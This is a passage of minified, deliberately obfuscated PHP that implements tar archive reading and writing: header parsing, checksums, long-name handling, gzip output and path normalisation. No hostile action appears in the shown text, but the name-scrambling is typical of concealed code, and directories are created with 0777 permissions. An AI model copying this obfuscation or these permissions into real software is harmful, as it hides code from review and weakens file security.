false;}}if(($h175=dirname($k171['filename']))==$k171['filename'])$h175='';if((substr($k171['filename'],0,1)=='/')&&($h175==''))$h175='/';$this->$c176[]=$h175;$this->$q177[]=$k171['filename'];}return true;}function dirCheck($u55){$a178=dirname($u55);if((@is_dir($u55))or($u55==''))return true;if(($a178!=$u55)and($a178!='')and(!$this->dirCheck($a178)))return false;if(!mkdir($u55,0777)){$this->$l154[]=__('Cannot create directory').' '.$u55;return false;}return true;}function readHeader($o161,&$k171){if(strlen($o161)==0){$k171['filename']='';return true;}if(strlen($o161)!=512){$k171['filename']='';$this->__('Invalid block size').': '.strlen($o161);return false;}$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($o161,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156;$f89<512;$f89++)$i179+=ord(substr($o161,$f89,1));$t180=unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',$o161);$k171['checksum']=OctDec(trim($t180['checksum']));if($k171['checksum']!=$i179){$k171['filename']='';if(($i179==256)&&($k171['checksum']==0))return true;$this->$l154[]=__('Error checksum for file ').$t180['filename'];return false;}if(($k171['typeflag']=$t180['typeflag'])=='5')$k171['size']=0;$k171['filename']=trim($t180['filename']);$k171['mode']=OctDec(trim($t180['mode']));$k171['user_id']=OctDec(trim($t180['user_id']));$k171['group_id']=OctDec(trim($t180['group_id']));$k171['size']=OctDec(trim($t180['size']));$k171['time']=OctDec(trim($t180['time']));return true;}function writeHeader($d59,$x168){$k181='a100a8a8a8a12A12';$l182='a1a100a6a2a32a32a8a8a155a12';if(strlen($x168)<=0)$x168=$d59;$c183=$this->makeGoodPath($x168);if(strlen($c183)>99){$a184=pack($k181,'././LongLink',0,0,0,sprintf('%11s ',DecOct(strlen($c183))),0);$h185=pack($l182,'L','','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);$s186=$this->makeGoodPath($c183);$f89=0;while(($s160=substr($s186,(($f89++)*512),512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}return true;}$b187=stat($d59);if(@is_dir($d59)){$v188='5';$a49=sprintf('%11s ',DecOct(0));}else{$v188='';clearstatcache();$a49=sprintf('%11s ',DecOct(filesize($d59)));}$a184=pack($k181,$c183,sprintf('%6s ',DecOct(fileperms($d59))),sprintf('%6s ',DecOct($b187[4])),sprintf('%6s ',DecOct($b187[5])),$a49,sprintf('%11s',DecOct(filemtime($d59))));$h185=pack($l182,$v188,'','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);return true;}function openWrite(){if($this->$y158)$this->$q162=gzopen($this->$o156,'wb9f');else $this->$q162=fopen($this->$o156,'wb');if(!($this->$q162)){$this->$l154[]=__('Cannot write to file').' '.$this->$o156;return false;}return true;}function readBlock(){if(is_resource($this->$q162)){if($this->$y158)$q189=gzread($this->$q162,512);else $q189=fread($this->$q162,512);}else $q189='';return $q189;}function writeBlock($q164,$p190=0){if(is_resource($this->$q162)){if($p190===0){if($this->$y158)gzputs($this->$q162,$q164);else fputs($this->$q162,$q164);}else{if($this->$y158)gzputs($this->$q162,$q164,$p190);else fputs($this->$q162,$q164,$p190);}}}function closeTmpFile(){if(is_resource($this->$q162)){if($this->$y158)gzclose($this->$q162);else fclose($this->$q162);$this->$q162=0;}}function makeGoodPath($u6){if(strlen($u6)>0){$u6=str_replace('\\','/',$u6);$p191=explode('/',$u6);$v31=count($p191)-1;for($f89=$v31;$f89>=0;$f89--){if($p191[$f89]=='.'){}elseif($p191[$f89]=='..'){$f89--;}elseif(($p191[$f89]=='')and($f89!=$v31)and($f89!=0)){}else $b84=$p191[$f89].($f89!=$v31?'/'.$b84:'');}}else $b84='';return $b84;}}